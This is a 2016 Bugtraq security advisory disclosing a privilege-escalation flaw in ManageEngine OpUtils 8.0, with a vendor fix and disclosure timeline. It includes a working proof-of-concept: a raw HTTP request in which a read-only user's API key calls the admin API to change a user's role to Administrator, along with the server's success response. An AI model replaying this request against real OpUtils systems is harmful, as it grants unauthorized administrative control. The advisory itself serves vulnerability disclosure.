bugtraq - Privilege escalation Vulnerability in ManageEngine oputils

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Date: Mon, 15 Feb 2016 17:39:47 GMT
From: kingkaustubh@...com
To: bugtraq@...urityfocus.com
Subject: Privilege escalation Vulnerability in ManageEngine oputils

==================================================
Privilege escalation Vulnerability in ManageEngine oputils
==================================================

. contents:: Table Of Content

Overview
========

Title:- Privilege escalation Vulnerability in ManageEngine oputils
Author: Kaustubh G. Padwad
Vendor: ZOHO Corp
Product: ManageEngine oputils
Tested Version: : oputils 8.0
Severity: HIGH

Advisory ID
============
2016-05-Manage_Engine


About the Product:
==================
OpUtils is a Switch Port & IP Address Management software that helps network engineers manage their Switches and IP Address Space with ease. With its comprehensive set of 30+ tools, it helps them to perform network monitoring tasks like detecting a rogue device intrusion, keep a check on bandwidth usage, monitoring availability of critical devices, backing up Cisco configuration files and more.


Description: 
============

This Privilege escalation vulnerability enables an Normal user to escalate privilege and become administrator of the application. 

Vulnerability Class:
====================
Top 10 2014-I2 Insufficient Authentication/Authorization https://www.owasp.org/index.php/Top_10_2014-I2_Insufficient_Authentication/Authorization


How to Reproduce: (POC):
========================

* you should have Read only user  on OpUtils 

* login with that account to get api key something like 375e0fa0-0bb3-479c-a646-debb90a1f5f0

* Setup Burp and use change user password request and change userName to admin and newPwd to desire password HUrry you are admin now. :)

POC
====

Burp Requst 
-----------
POST /oputilsapi/admin?key=375e0fa0-0bb3-479c-a646-debb90a1f5f0 HTTP/1.1

Host: 192.168.1.10:7080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://192.168.1.10:7080/apiclient/ember/index.jsp

Content-Length: 151

Cookie: OPUTILSJSESSIONID=AC6E9B2C01FDDD5E27C245BC6F31C032; JSESSIONID=B59D8FD4B17DB7200A991299F4034DF1; OPUTILSJSESSIONIDSSO=1F8857A875EB16418DD7889DB60CFB66

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache



v=1&format=json&operation=DELETE_OR_MODIFY_USER&action1=MODIFY_USER&userInAction=kk&userRole=Administrator&userAuthType=Local&contactinfoID=2&loginID=2




Response
--------
HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Set-Cookie: OPUTILSJSESSIONIDSSO=1F8857A875EB16418DD7889DB60CFB66; Expires=Thu, 01-Jan-1970 00:00:10 GMT

Set-Cookie: OPUTILSJSESSIONID=184C572A3D2E17EEC3B78C027B925421; Path=/

Content-Type: application/json;charset=UTF-8

Content-Length: 90

Date: Thu, 04 Feb 2016 13:27:09 GMT



{"input":"{newUserName=MODIFY_USER, userInAction=kk, domainName=null}","status":"Success"}





Mitigation
==========
Upgrade to next Service pack

Disclosure: 
===========
04-Feb-2016 Repoerted to vendor
11-Feb-2016 Fixed By vendor

credits:
========
* Kaustubh Padwad
* Information Security Researcher
* kingkaustubh@...com
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad